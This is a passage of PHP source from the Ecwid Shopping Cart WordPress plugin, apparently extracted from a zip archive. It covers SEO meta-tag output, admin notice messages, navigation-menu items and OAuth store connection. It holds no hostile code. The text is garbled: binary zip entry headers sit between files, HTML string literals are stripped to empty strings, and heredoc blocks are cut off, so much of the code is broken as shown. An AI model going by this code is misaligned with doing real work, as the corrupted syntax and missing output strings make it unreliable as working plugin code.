else if ( Ecwid_Store_Page::is_store_page() ) { $set_metadesc = false; $set_metadesc = apply_filters( 'ecwid_set_mainpage_metadesc', $set_metadesc ); if( $set_metadesc ) { $store_page_params = Ecwid_Store_Page::get_store_page_params(); if ( isset( $store_page_params['default_category_id'] ) && $store_page_params['default_category_id'] > 0 ) { $description_html = Ecwid_Static_Page::get_meta_description_html(); } else { $api = new Ecwid_Api_V3(); $profile = $api->get_store_profile(); if( !empty($profile->settings->storeDescription) ) { $description = $profile->settings->storeDescription; $description = Ecwid_HTML_Meta::process_raw_description( $description, ECWID_TRIMMED_DESCRIPTION_LENGTH ); $description_html = sprintf( '', $description ) . PHP_EOL; } } } } if( $description_html ) { echo $description_html; } return; } protected function _print_og_tags() { $og_tags_html = Ecwid_Static_Page::get_og_tags_html(); $site_name = $this->_get_site_name(); $og_tags_html = preg_replace( '/()/', '${1}'.$site_name.'${2}', $og_tags_html ); echo $og_tags_html; } protected function _print_canonical() { if ( get_option( 'ecwid_hide_canonical', false ) ) return; $link = Ecwid_Static_Page::get_canonical_url(); if ( $link ) { echo '' . PHP_EOL; } } protected function _print_json_ld() { $json_ld = Ecwid_Static_Page::get_json_ld_html(); echo $json_ld; } protected function _print_ajax_crawling_fragment() { if ( !Ecwid_Api_V3::is_available() ) return; if ( isset( $_GET['_escaped_fragment_'] ) ) return; if ( Ecwid_Seo_Links::is_enabled() ) return; echo '' . PHP_EOL; } protected function _get_site_name() { return get_bloginfo( 'name' ); } } class Ecwid_HTML_Meta_Noindex extends Ecwid_HTML_Meta { public function wp_head() { $this->_print_prefetch(); echo '' . PHP_EOL; } public function wp_head_last() { return false; } } class Ecwid_HTML_Meta_Other extends Ecwid_HTML_Meta { public function wp_head() { $this->_print_prefetch(); } protected function _print_prefetch() { if( !$this->_is_available_prefetch_tags() ){ return; } echo $this->_get_html_prefetch_control_tags(); if ( Ecwid_Static_Page::is_enabled_static_home_page() && Ecwid_Static_Page::is_data_available() ) { $css_files = Ecwid_Static_Page::get_css_files(); if( $css_files && is_array( $css_files ) ) { foreach ( $css_files as $item ) { echo sprintf( '', $item ) . PHP_EOL; } } } if ( ecwid_is_store_page_available() ) { $store_id = get_ecwid_store_id(); $params = ecwid_get_scriptjs_params(); $scriptjs_url = 'https://' . Ecwid_Config::get_scriptjs_domain() . '/script.js?' . $store_id . $params; echo sprintf( '', $scriptjs_url ) . PHP_EOL; $page_url = Ecwid_Store_Page::get_store_url(); echo sprintf( '', $page_url ) . PHP_EOL; } } public function wp_head_last() { return false; } } add_action( 'wp', array( 'Ecwid_HTML_Meta', 'maybe_create' ) );PKÊ—[µ YAù@ù@<ecwid-shopping-cart/includes/class-ecwid-message-manager.phpnu„[µü¤init_messages(); add_action( 'ecwid_connected_via_legacy_page', array( $this, 'on_connected_via_legacy_page' ) ); } public static function show_messages() { $mm = self::get_instance(); foreach ($mm->messages as $name => $message) { if ($mm->need_to_show_message($name)) { $mm->show_message($name); } } } public static function get_oauth_message($wp_remote_post_error = '') { if (!$wp_remote_post_error) { $message = sprintf( __( <<
    Here is a more techy description of the problem, please send it to your hosting provider: "The WordPress function wp_remote_post() failed to connect a remote server because of some error. Seems like HTTP requests to remote servers are disabled on this server. Specifically, the requests to app.ecwid.com and my.ecwid.com are blocked.".

    Please also feel free to contact us at wordpress@ecwid.com and we will help you handle it with your hosting.

    Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at my.ecwid.com. Your store front is working fine as well and you can check it here: %s. TXT ), 'href="mailto:wordpress@ecwid.com"', 'target="_blank" href="http://my.ecwid.com"', 'href="' . Ecwid_Store_Page::get_store_url() . '" target="_blank"', Ecwid_Store_Page::get_store_url() ); } else { $message = sprintf( __('Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn\'t seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server".

    Please feel free to contact us at wordpress@ecwid.com and we will help you contact your hosting and ask them to fix the issue.

    Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at my.ecwid.com. Your store front is working fine as well and you can check it here: %s.'), $wp_remote_post_error, 'href="mailto:wordpress@ecwid.com"', 'target="_blank" href="http://my.ecwid.com"', 'href="' . Ecwid_Store_Page::get_store_url() . '" target="_blank"', Ecwid_Store_Page::get_store_url() ); } return $message; } public static function show_message($name, $params = array()) { $mm = self::get_instance(); $mm->need_to_show_message($name); if (!isset($mm->messages[$name]) && empty($params)) { trigger_error('Ecwid plugin error: unknown message ' . $name); return; } $params = $mm->get_message_params($name, $params); $type = $params['type']; $title = $params['title']; $message = $params['message']; $primary_button = isset($params['primary_title']); if ($primary_button) { $primary_title = $params['primary_title']; $primary_url = $params['primary_url']; $primary_blank = @$params['primary_blank']; } $secondary_button = isset($params['secondary_title']); if ($secondary_button) { $secondary_title = $params['secondary_title']; $secondary_url = @$params['secondary_url']; $secondary_blank = @$params['secondary_blank']; $secondary_hide = @$params['secondary_hide']; } $do_not_show_again = true == $params['hideable']; include ECWID_PLUGIN_DIR . 'templates/admin-message.php'; } public static function disable_message($name) { $messages = get_option('ecwid_disabled_messages'); $messages[$name] = true; update_option('ecwid_disabled_messages', $messages); } public static function enable_message($name) { $messages = get_option('ecwid_disabled_messages'); if (isset($messages['name'])) unset($messages['name']); update_option('ecwid_disabled_messages', $messages); } public static function reset_hidden_messages() { $hidden_messages = array(); $messages = self::get_default_messages(); foreach ($messages as $name => $message) { if (isset($message['default']) && $message['default'] == 'hidden') { $hidden_messages[$name] = true; } } update_option('ecwid_disabled_messages', array()); } protected static function get_instance() { static $instance = null; if (is_null($instance)) { $instance = new Ecwid_Message_Manager(); } return $instance; } protected function init_messages() { $this->messages = $this->get_default_messages(); $hidden_messages = get_option('ecwid_disabled_messages'); if ( !empty( $hidden_messages ) ) { foreach ($hidden_messages as $name => $message) { unset ($this->messages[$name]); } } } protected function get_message_params($name, $params) { if (is_array($name)) { $params = $name; $name = ''; } if (isset($this->messages[$name])) { $params = array_merge( array('type' => 'info', 'title' => '', 'message' => '', 'hideable' => false), $this->messages[$name], $params ); } if ($name == 'on_storeid_set') { $params['primary_url'] = Ecwid_Store_Page::get_store_url(); $params['secondary_url'] = 'post.php?post=' . Ecwid_Store_Page::get_current_store_page_id() . '&action=edit&show-ecwid=true'; } if ($name == 'on_appearance_widgets') { if (isset($_GET['from-ec-store']) && $_GET['from-ec-store'] == 'appearance') { $admin_page = Ecwid_Admin::get_dashboard_url() . '-appearance'; } elseif (isset($_GET['from-ec-store']) && $_GET['from-ec-store'] == 'new') { $admin_page = 'post-new.php?post_type=page'; } elseif (isset($_GET['from-ec-store']) && is_numeric($_GET['from-ec-store'])) { $admin_page = 'post.php?post=' . $_GET['from-ec-store'] . '&action=edit'; } $params['secondary_url'] = $admin_page; } $types_map = array( 'info' => 'updated', 'warning' => 'update-nag', 'error' => 'error' ); $params['type'] = $types_map[$params['type']]; return $params; } protected static function get_default_messages() { $messages = array( 'on_activate' => array( 'title' => sprintf( __( 'Greetings! Your %s plugin is now active.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ), 'message' => __('Take a few simple steps to complete store setup', 'ecwid-shopping-cart'), 'primary_title' => __( 'Set up your store', 'ecwid-shopping-cart'), 'primary_url' => 'admin.php?page=' . Ecwid_Admin::ADMIN_SLUG, 'hideable' => true, 'default' => 'disabled' ), 'on_no_storeid_on_setup_pages' => array( 'type' => 'warning', 'title' => __('Your store is almost ready!', 'ecwid-shopping-cart' ), 'message' => __('Complete setup and start selling', 'ecwid-shopping-cart' ), 'primary_title' => __('Complete Setup', 'ecwid-shopping-cart' ), 'primary_url' => Ecwid_Admin::get_dashboard_url(), 'hideable' => true ), 'on_appearance_widgets' => array( 'message' => sprintf( __( 'To add extra functions to your store, drag and drop %s store elements on your site. When you\'re done, you can get back to modifying your settings.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'secondary_title' => __('Back to Store Settings', 'ecwid-shopping-cart'), 'secondary_url' => Ecwid_Admin::get_dashboard_url() . '-appearance', 'hideable' => true ), 'please_vote' => array( 'message' => sprintf( __('Do you like your %s online store? We\'d appreciate it if you add your review and vote for the plugin on WordPress site.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand(), 'target="_blank" href="http://wordpress.org/support/view/plugin-reviews/ecwid-shopping-cart"' ), 'primary_title' => sprintf( __( 'Rate %s at WordPress.org', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ), 'primary_url' => 'http://wordpress.org/support/view/plugin-reviews/ecwid-shopping-cart', 'hideable' => true ), 'no_oauth' => array( 'message' => Ecwid_Message_Manager::get_oauth_message(), 'hideable' => false, 'type' => 'error' ), 'no_token' => array( 'title' => sprintf( __( 'Action required: please connect your %s account', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'message' => sprintf( __( 'Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'type' => 'error', 'primary_title' => __( 'Connect', 'ecwid-shopping-cart' ), 'primary_url' => admin_url( 'admin-post.php?action=ec_connect&reconnect' ), 'hideable' => true ), 'api_failed_tls' => array( 'title' => __( 'Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.', 'ecwid-shopping-cart' ), 'message' => sprintf( __( <<What happened: This WordPress site doesn't seem to be able to connect to the %1\$s servers. Your store is working and your products can be purchased from your site, but some features are disabled, including SEO, product sidebar widgets, advanced site menu and store navigation. The %1\$s plugin tries to reach the %1\$s APIs at our servers and cannot do that because of your server misconfiguration.

    How to fix: Your server seems to be using outdated software (TLS v1.0) to communicate with the %1\$s APIs. The reason can also be a deprecated version of the CURL module. This can be fixed by your hosting provider by updating your server software to the latest version. Please send this message to your hosting provider and ask them to check it for you. If this doesn't help, please contact us at %2\$s. HTML , 'ecwid-shopping-cart' ), Ecwid_Config::get_brand(), Ecwid_Config::get_contact_us_url() ), 'type' => 'warning', 'hideable' => false ), 'api_failed_other' => array( 'title' => __( 'Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.', 'ecwid-shopping-cart' ), 'message' => sprintf( __( <<What happened: This WordPress site doesn't seem to be able to connect to the %1\$s servers. Your store is working and your products can be purchased from your site, but some features are disabled, including SEO, product sidebar widgets, advanced site menu and store navigation. The %1\$s plugin tries to reach the %1\$s APIs at our servers and cannot do that as your server blocks those requests for some reason.

    How to fix: Refresh this page after a few minutes. If this message does not disappear, then the problem is likely caused by your server misconfiguration and can be fixed by your hosting provider. In particular, the CURL module can be disabled in your PHP config or a firewall might block requests to our servers. Please send this message to your hosting provider and ask them to check it for you. If this doesn't help, please contact us at %2\$s. HTML , 'ecwid-shopping-cart' ), Ecwid_Config::get_brand(), Ecwid_Config::get_contact_us_url() ), 'type' => 'warning', 'hideable' => false ) ); if ( class_exists( 'Ecwid_Import_Page' ) ) { $messages[self::MSG_WOO_IMPORT_ONBOARDING] = array( 'title' => sprintf( __( 'Need help importing your products from WooCommerce to %s?', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'message' => sprintf( __( 'We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'hideable' => false, 'primary_title' => __( 'Import my products from WooCommerce', 'ecwid-shopping-cart' ), 'primary_url' => Ecwid_Import_Page::get_woo_page_url_from_message(), 'secondary_title' => __( 'No Thanks', 'ecwid-shopping-cart' ), 'secondary_hide' => true ); } return $messages; } protected function need_to_show_message($name) { if ( !current_user_can( 'manage_options' ) ) { return false; } $admin_page = ''; if (function_exists('get_current_screen')) { $screen = get_current_screen(); $admin_page = $screen->base; } $is_ecwid_menu = $admin_page == 'toplevel_page_' . Ecwid_Admin::ADMIN_SLUG; if ($is_ecwid_menu && isset($_GET['reconnect'])) { return false; } switch ($name) { case 'on_activate': return !$this->should_display_on_no_storeid_on_setup_pages() && $admin_page != 'toplevel_page_ec-store' && ecwid_is_demo_store(); case 'on_storeid_set': return !ecwid_is_demo_store() && @$_GET['settings-updated'] == 'true' && $admin_page == 'toplevel_page_ec-store'; case 'on_no_storeid_on_setup_pages': return $this->should_display_on_no_storeid_on_setup_pages(); case 'on_appearance_widgets': return isset($_GET['from-ec-store']) && $_GET['from-ec-store'] != 'true' && $admin_page == 'widgets'; case 'no_token': $no_token = Ecwid_Api_V3::get_token() == false; $is_not_demo = !ecwid_is_demo_store(); return $no_token && $is_not_demo && !$is_ecwid_menu && in_array( Ecwid_Api_V3::get_api_status(), array( Ecwid_Api_V3::API_STATUS_OK, Ecwid_Api_V3::API_STATUS_ERROR_TOKEN ) ); case self::MSG_WOO_IMPORT_ONBOARDING: if ( !class_exists( 'Ecwid_Importer' ) ) { require_once ECWID_PLUGIN_DIR . 'includes/importer/class-ecwid-importer.php'; } return is_plugin_active( 'woocommerce/woocommerce.php' ) && strpos( $admin_page, Ecwid_Import::PAGE_SLUG ) === false && !$this->need_to_show_message( 'on_activate' ) && Ecwid_Api_V3::is_available() && !ecwid_is_demo_store() && !get_option( Ecwid_Importer::OPTION_WOO_CATALOG_IMPORTED, false ) && wp_count_posts( 'product' )->publish > 0 && ecwid_is_recent_installation(); case 'please_vote': if ( Ecwid_Config::is_wl() ) return false; if ( strpos( $admin_page, Ecwid_Admin::ADMIN_SLUG ) === false ) { return false; } $install_date = get_option('ecwid_installation_date'); $result = false; if (!$install_date) { add_option('ecwid_installation_date', time()); } else { $result = ecwid_is_paid_account() && $install_date + 60*60*24*30 < time(); } foreach ($this->messages as $_name => $message) { if ($_name != $name && $this->need_to_show_message($_name)) { return false; } } return $result; case 'api_failed_tls': return !ecwid_is_demo_store() && get_current_screen()->parent_base == Ecwid_Admin::ADMIN_SLUG && Ecwid_Api_V3::get_api_status() == Ecwid_Api_V3::API_STATUS_ERROR_TLS && time() - get_option( 'ecwid_connected_via_legacy_page_time' ) > 15 * MINUTE_IN_SECONDS; case 'api_failed_other': return !ecwid_is_demo_store() && get_current_screen()->parent_base == Ecwid_Admin::ADMIN_SLUG && Ecwid_Api_V3::get_api_status() == Ecwid_Api_V3::API_STATUS_ERROR_OTHER && time() - get_option( 'ecwid_connected_via_legacy_page_time' ) > 15 * MINUTE_IN_SECONDS; } } protected function should_display_on_no_storeid_on_setup_pages() { $screen = get_current_screen(); $admin_page = $screen->base; $is_newbie = ecwid_is_demo_store(); $is_ecwid_settings = in_array($admin_page, array('ecwid-store_page_ecwid-advanced', 'ecwid-store_page_ecwid-appearance')); $is_store_page = $admin_page == 'post' && isset($_GET['post']) && $_GET['post'] == Ecwid_Store_Page::get_current_store_page_id(); return $is_newbie && ($is_ecwid_settings || $is_store_page); } }PKÊ—[âʱ336ecwid-shopping-cart/includes/class-ecwid-nav-menus.phpnu„[µü¤ array( 'name' => __( 'Ecwid Menu Item', 'ecwid-shopping-cart' ), ), 'supports' => array( 'title' ), 'public' => FALSE, 'exclude_from_search' => TRUE, 'publicly_queryable' => FALSE, 'show_ui' => FALSE, 'show_in_menu' => FALSE, 'show_in_nav_menus' => FALSE, 'show_in_admin_bar' => FALSE, 'has_archive' => FALSE, ) ); } public static function should_use_js_api_for_categories_menu() { $value = get_option( self::OPTION_USE_JS_API_FOR_CATS_MENU ); if ( $value == self::OPTVAL_USE_JS_API_FOR_CATS_MENU_TRUE ) { return true; } if ( $value == self::OPTVAL_USE_JS_API_FOR_CATS_MENU_FALSE ) { return false; } $value = apply_filters( self::FILTER_USE_JS_API_FOR_CATS_MENU, $value ); return $value == self::OPTVAL_USE_JS_API_FOR_CATS_MENU_TRUE; } static public function add_menu_on_activate( ) { $locations = get_nav_menu_locations(); if (empty($locations)) return; foreach ($locations as $name => $menu_id) { if ($menu_id > 0) { break; } } if ($menu_id == 0) return; $existing = self::_find_existing_store_page_menu($menu_id); if ($existing) return; $items = wp_get_nav_menu_items($menu_id); wp_update_nav_menu_item($menu_id, 0, array( 'menu-item-title' => 'Store', 'menu-item-object' => 'ecwid-store-with-categories', 'menu-item-type' => 'ecwid_menu_item', 'menu-item-status' => 'publish') ); } static public function replace_auto_added_menu() { $options = get_option('nav_menu_options'); $autofill = $options['auto_add']; if (empty($autofill)) { return false; } $store_page_id = get_option('ecwid_store_page_id'); foreach ($autofill as $menu_id) { $items = wp_get_nav_menu_items($menu_id); foreach ($items as $item) { if ( $item->object == 'page' && $item->object_id == $store_page_id && time() - strtotime($item->post_date_gmt) < 60 ) { $result = wp_update_nav_menu_item($menu_id, $item->db_id, array( 'menu-item-title' => $item->title, 'menu-item-status' => $item->status, 'menu-item-object' => 'ecwid-store-with-categories', 'menu-item-type' => 'ecwid_menu_item') ); } } } } static protected function _find_existing_store_page_menu($menu_id) { $items = wp_get_nav_menu_items($menu_id); if (empty($items)) return null; foreach ($items as $item) { if ( $item->object == 'page' && $item->object_id == Ecwid_Store_Page::get_current_store_page_id() ) return $item; if ($item->object == 'ecwid-store-with-categories' || $item->object == 'ecwid-store') { return $item; } } return null; } public function add_meta_box() { add_meta_box('ecwid_nav_links', __('Store', 'ecwid-shopping-cart'), array( $this, 'create_menu_items'), 'nav-menus', 'side'); } public function enqueue_frontend_assets() { if ( Ecwid_Store_Page::get_current_store_page_id() != get_the_ID() && !Ecwid_Ajax_Defer_Renderer::is_enabled() ) { return; } wp_enqueue_script( 'ecwid-menu', ECWID_PLUGIN_URL . 'js/nav-menu-frontend.js', array( 'jquery' ), get_option('ecwid_plugin_version') ); wp_localize_script( 'ecwid-menu', 'ecwid_menu_data', array( 'items' => $this->get_nav_menu_items() ) ); } public function enqueue_admin_assets() { $screen = get_current_screen(); if ($screen->base != 'nav-menus') return; wp_enqueue_style('ecwid-nav-menu', ECWID_PLUGIN_URL . 'css/nav-menu.css', array(), get_option('ecwid_plugin_version')); EcwidPlatform::set('nav-menus-opened-once', null); $first_run = false; // It opens the page twice on the very first run of that page if (EcwidPlatform::get('nav-menus-opened-once', false) < 2) { EcwidPlatform::set('nav-menus-opened-once', EcwidPlatform::get('nav-menus-opened-once') + 1); $first_run = EcwidPlatform::get('nav-menus-opened-once') <= 2; } wp_enqueue_script('ecwid-admin-menu-js', ECWID_PLUGIN_URL . 'js/nav-menu.js', array(), get_option('ecwid_plugin_version')); wp_localize_script('ecwid-admin-menu-js', 'ecwid_nav_menu_params', array( 'store_page' => __('Store Page', 'ecwid-shopping-cart'), 'reset_cats_cache' => __('Refresh categories list', 'ecwid-shopping-cart'), 'cache_updated' => __('Done', 'ecwid-shopping-cart'), 'reset_cache_message' => __('The store top-level categories are automatically added to this drop-down menu', 'ecwid-shopping-cart'), 'first_run' => $first_run, 'register_link' => ecwid_get_register_link(), 'items' => $this->get_nav_menu_items() )); } public function process_menu_items($items) { if ( is_admin() || empty($items) ) { return $items; } $types = $this->get_nav_menu_items(); $counter = 0; for ( $i = 0; $i < count($items); $i++ ) { if (!isset($items[$i])) { continue; } $item = $items[$i]; $items[$i]->menu_order = $i + 1; $ecwid_menu_type = isset($types[$item->object]) ? $types[$item->object] : null; if ( $ecwid_menu_type && isset( $ecwid_menu_type['ecwid-page'] ) ) { $item->url = Ecwid_Store_Page::get_menu_item_url($ecwid_menu_type); $item->ecwid_page_type = $ecwid_menu_type['ecwid-page']; } if ($item->object == 'ecwid-store-with-categories' || $item->object == 'ecwid-store') { $item->url = Ecwid_Store_Page::get_store_url(); } if ($item->object == 'ecwid-store-with-categories') { $posts = EcwidPlatform::cache_get( 'nav_categories_posts' ); if ( !$posts ) { $posts = array(); $api = new Ecwid_Api_V3(); $result = $api->get_categories( array( 'parent' => 0 ) ); if ( $result && $result->count > 0 ) { $categories = $result->items; usort( $categories, Ecwid_Category::usort_callback() ); foreach ($categories as $category) { $category = Ecwid_Category::get_by_id( $category->id ); $post = new stdClass; $post->ID = -1; $post->post_author = ''; $post->post_date = ''; $post->post_date_gmt = ''; $post->post_password = ''; $post->post_name = ''; $post->post_type = $item->post_type; $post->post_status = 'publish'; $post->to_ping = ''; $post->pinged = ''; $post->post_parent = 0; $post->url = $category->get_link( Ecwid_Store_Page::get_store_url() ); $post->classes = ''; $post->type = 'post'; $post->db_id = 0; $post->title = $category->name; $post->target = ''; $post->object = ''; $post->attr_title = ''; $post->description = ''; $post->xfn = ''; $post->object_id = 0; $post->ecwid_page_type = 'category'; $post->ecwid_category_id = $category->id; $posts[] = $post; } EcwidPlatform::cache_set( 'nav_categories_posts', $posts, DAY_IN_SECONDS ); } } foreach ( $posts as $post ) { $counter++; $post->menu_item_parent = $item->ID; array_splice( $items, $i + $counter, 0, array( $post ) ); } $counter++; } } return $items; } public function nav_menu_link_attributes( $attributes, $item ) { if ( !isset( $item->ecwid_page_type ) ) { return $attributes; } if ( in_array( $item->ecwid_page_type, array( 'cart', 'account/orders' ) ) ) { $attributes['rel'] = 'nofollow'; } if ( Ecwid_Store_Page::get_current_store_page_id() != get_the_ID() ) { return $attributes; } $attributes['data-ecwid-page'] = $item->ecwid_page_type; if ( $item->ecwid_page_type == 'category' ) { $attributes['data-ecwid-category-id'] = $item->ecwid_category_id; } return $attributes; } public function create_menu_items() { $menu_links = $this->get_nav_menu_items(); ?> item_types != null) { return $this->item_types; } $this->item_types = array( 'ecwid-cart' => array( 'list-name' => __('Cart', 'ecwid-shopping-cart'), 'classes' => 'ecwid-cart', 'url' => 'cart', 'label' => __('Shopping Cart', 'ecwid-shopping-cart'), 'name' => 'cart', 'ecwid-page' => 'cart', 'nofollow' => true ), 'ecwid-product-search' => array( 'list-name' => __('Product Search', 'ecwid-shopping-cart'), 'classes' => 'ecwid-product-search', 'url' => 'search', 'label' => __('Product Search', 'ecwid-shopping-cart'), 'name' => 'search', 'ecwid-page' => 'search' ), 'ecwid-my-account' => array( 'list-name' => __('My Account', 'ecwid-shopping-cart'), 'classes' => 'ecwid-my-account', 'url' => 'accountSettings', 'label' => __('My Account', 'ecwid-shopping-cart'), 'name' => 'account', 'ecwid-page' => 'account/orders', 'nofollow' => true ), 'ecwid-store' => array( 'list-name' => __('Store', 'ecwid-shopping-cart'), 'classes' => 'ecwid-store', 'url' => '', 'label' => __('Store', 'ecwid-shopping-cart'), 'name' => 'store', 'ecwid-page' => '/' ), 'ecwid-store-with-categories' => array( 'list-name' => __('Store with Categories Menu', 'ecwid-shopping-cart'), 'classes' => 'ecwid-store-with-categories', 'url' => '', 'label' => __('Store', 'ecwid-shopping-cart'), 'name' => 'store-with-categories', 'ecwid-page' => '/' ) ); return $this->item_types; } } $ecwid_menus = new Ecwid_Nav_Menus();PKÊ—[ׇŸù&ù&2ecwid-shopping-cart/includes/class-ecwid-oauth.phpnu„[µü¤_load_state(); $this->api = new Ecwid_Api_V3(); } public function test_post() { $return = EcwidPlatform::http_post_request($this->get_test_post_url()); return is_array($return); } public function get_test_post_url() { return Ecwid_Config::get_oauth_auth_url(); } public function get_auth_dialog_url( ) { $action = 'ec_oauth'; if ( $this->_is_reconnect() ) { $action = 'ec_oauth_reconnect'; } $redirect_uri = 'admin-post.php?action=' . $action; return $this->api->get_oauth_dialog_url( admin_url( $redirect_uri ), implode(' ', $this->_get_scope() ) ); } public function get_sso_reconnect_dialog_url() { $redirect_uri = 'admin-post.php?action=ec_oauth_reconnect'; $scope = $this->_get_scope(); if (!in_array( 'create_customers', $scope ) ) { $scope[] = 'create_customers'; } return $this->api->get_oauth_dialog_url( admin_url( $redirect_uri ), implode(' ', $scope ) ); } public function process_authorization() { $reconnect = $_REQUEST['action'] == 'ec_oauth_reconnect'; if ( isset( $_REQUEST['error'] ) || !isset( $_REQUEST['code'] ) ) { if ($reconnect) { $this->update_state(array('mode' => self::MODE_RECONNECT, 'error' => 'cancelled')); } else { $this->update_state(array('mode' => self::MODE_CONNECT, 'error' => 'cancelled')); } wp_redirect( Ecwid_Admin::get_dashboard_url() . '&connection_error' . ($reconnect ? '&reconnect' : '')); exit; } $base_admin_url = 'admin-post.php?action=ec_oauth' . ($reconnect ? '_reconnect' : ''); $params['code'] = $_REQUEST['code']; $params['client_id'] = Ecwid_Config::get_oauth_appid(); $params['client_secret'] = Ecwid_Config::get_oauth_appsecret(); $params['redirect_uri'] = admin_url( $base_admin_url ); $params['grant_type'] = 'authorization_code'; $request = Ecwid_HTTP::create_post( 'oauth_authorize', Ecwid_Config::get_oauth_token_url(), array( Ecwid_HTTP::POLICY_RETURN_VERBOSE )); $return = $request->do_request(array('body' => $params)); $result = new stdClass(); if ( is_array( $return ) && isset( $return['data'] ) ) { $result = json_decode( $return['data'] ); } if ( !is_array( $return ) || !isset( $result->store_id ) || !isset( $result->scope ) || !isset( $result->access_token ) || ( $result->token_type != 'Bearer' ) ) { return $this->trigger_auth_error($reconnect ? 'reconnect' : 'default'); } ecwid_update_store_id( $result->store_id ); update_option( 'ecwid_oauth_scope', $result->scope ); update_option( 'ecwid_api_check_time', 0 ); update_option( 'ecwid_public_token', $result->public_token ); update_option( self::OPTION_JUST_CONNECTED, true ); EcwidPlatform::cache_reset( 'all_categories' ); ecwid_invalidate_cache( true ); Ecwid_Api_V3::reset_api_status(); $this->api->save_token($result->access_token); if ( isset( $this->state->return_url ) && !empty( $this->state->return_url ) ) { wp_redirect( admin_url( $this->state->return_url ) ); } else { $url = ''; if ($reconnect) { $url = Ecwid_Admin::get_dashboard_url() . '&setting-updated=true'; } else { $url = Ecwid_Admin::get_dashboard_url(); } wp_redirect( $url ); } exit; } public function disconnect_store() { update_option( 'ecwid_store_id', ecwid_get_demo_store_id() ); $this->api->save_token( '' ); update_option( 'ecwid_is_api_enabled', 'off' ); update_option( 'ecwid_api_check_time', 0 ); wp_redirect( Ecwid_Admin::get_dashboard_url() ); exit; } public function get_safe_scopes_array($scopes) { if (!isset($scopes) || empty($scopes)) { return $this->_get_default_scopes_array(); } if (!empty($scopes)) { $scopes_array = explode(' ', $scopes); foreach ($scopes_array as $key => $scope) { if (!preg_match('/^[a-z_]+$/', $scope)) { unset($scopes_array[$key]); } } } return $scopes_array; } public function has_scope( $scope ) { if (Ecwid_Config::overrides_token()) { $stored_scope = implode(' ', $this->_get_default_scopes_array()); } else { $stored_scope = get_option( 'ecwid_oauth_scope' ); if (empty($stored_scope)) { $stored_scope = implode( ' ', array( Ecwid_OAuth::SCOPE_READ_STORE_PROFILE, Ecwid_OAuth::SCOPE_UPDATE_STORE_PROFILE, Ecwid_OAuth::SCOPE_READ_CATALOG ) ); } } return in_array( $scope, explode(' ', $stored_scope) ); } protected function _get_default_scopes_array() { $defaults = array( Ecwid_OAuth::SCOPE_READ_STORE_PROFILE, Ecwid_OAuth::SCOPE_UPDATE_STORE_PROFILE, Ecwid_OAuth::SCOPE_READ_CATALOG, 'allow_sso', 'create_customers', 'public_storefront' ); if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) { $defaults[] = 'create_catalog'; $defaults[] = 'update_catalog'; } return $defaults; } protected function trigger_auth_error($mode = 'default') { update_option('ecwid_last_oauth_fail_time', time()); $logs = get_option('ecwid_error_log'); if ($logs) { $logs = json_decode($logs); } if (is_array($logs) && count($logs) > 0) { $entry = $logs[count($logs) - 1]; if (isset($entry->message)) { $last_error = $entry->message; } } if ( $mode == self::MODE_RECONNECT ) { $this->update_state(array( 'mode' => 'reconnect', 'error' => 'other' )); } if (isset($last_error)) { EcwidPlatform::report_error($last_error); } wp_redirect( Ecwid_Admin::get_dashboard_url() . '&connection_error' . ( $mode == self::MODE_RECONNECT ? '&reconnect' : '' ) ); exit; } protected function _get_scope() { $default = $this->_get_default_scopes_array(); $scopes = array(); if ( $this->_is_reconnect() ) { $scopes = isset($this->state->reconnect_scopes) && is_array($this->state->reconnect_scopes) ? $this->state->reconnect_scopes : array(); } $scopes = array_merge($scopes, $default); return $scopes; } public function get_sso_admin_link() { $url = 'https://' . Ecwid_Config::get_cpanel_domain() . '/api/v3/%s/sso?token=%s×tamp=%s&signature=%s&inline=true'; $store_id = get_ecwid_store_id(); $token = $this->api->get_token(); $timestamp = time(); $signature = hash('sha256', $store_id . $token . $timestamp . Ecwid_Config::get_oauth_appsecret()); $url = sprintf( $url, $store_id, $token, $timestamp, $signature ); return $url; } protected function _load_state() { if (isset($_COOKIE['ecwid_oauth_state'])) { $this->state = @json_decode( $_COOKIE['ecwid_oauth_state'] ); } if (!is_object($this->state)) { $this->state = new stdClass(); $this->state->reconnect_scopes = array(); $this->state->reconnect_error = ''; $this->state->return_url = ''; $this->state->reason = ''; $this->state->mode = self::MODE_CONNECT; } } public function get_state() { return $this->state; } protected function _save_state() { if ( !headers_sent( ) ) { setcookie('ecwid_oauth_state', json_encode($this->state), strtotime('+1 day'), ADMIN_COOKIE_PATH, COOKIE_DOMAIN); } } public function get_reconnect_error() { return $this->state->reconnect_error; } public function update_state($params) { if (isset($params['mode'])) { $this->state->mode = $params['mode'] == self::MODE_RECONNECT ? self::MODE_RECONNECT : self::MODE_CONNECT; } if ( $this->_is_reconnect() ) { if ( isset( $params['scope'] ) ) { $this->state->reconnect_scopes = $this->get_safe_scopes_array( @$params['scope'] ); } if ( isset( $params['return_url'] ) ) { $this->state->return_url = $params['return_url']; } if ( isset( $params['error'] ) ) { $this->state->reconnect_error = $params['error']; } if ( isset( $params['reason'] ) ) { $this->state->reason = $params['reason']; } } $this->_save_state(); } public function get_error() { if ($this->_is_reconnect()) { return $this->state->reconnect_error; } else { return $this->state->error; } } public function get_reconnect_message() { $reconnect_message = ''; if (isset($this->state->reason)) { switch ( $this->state->reason ) { case 'spw': 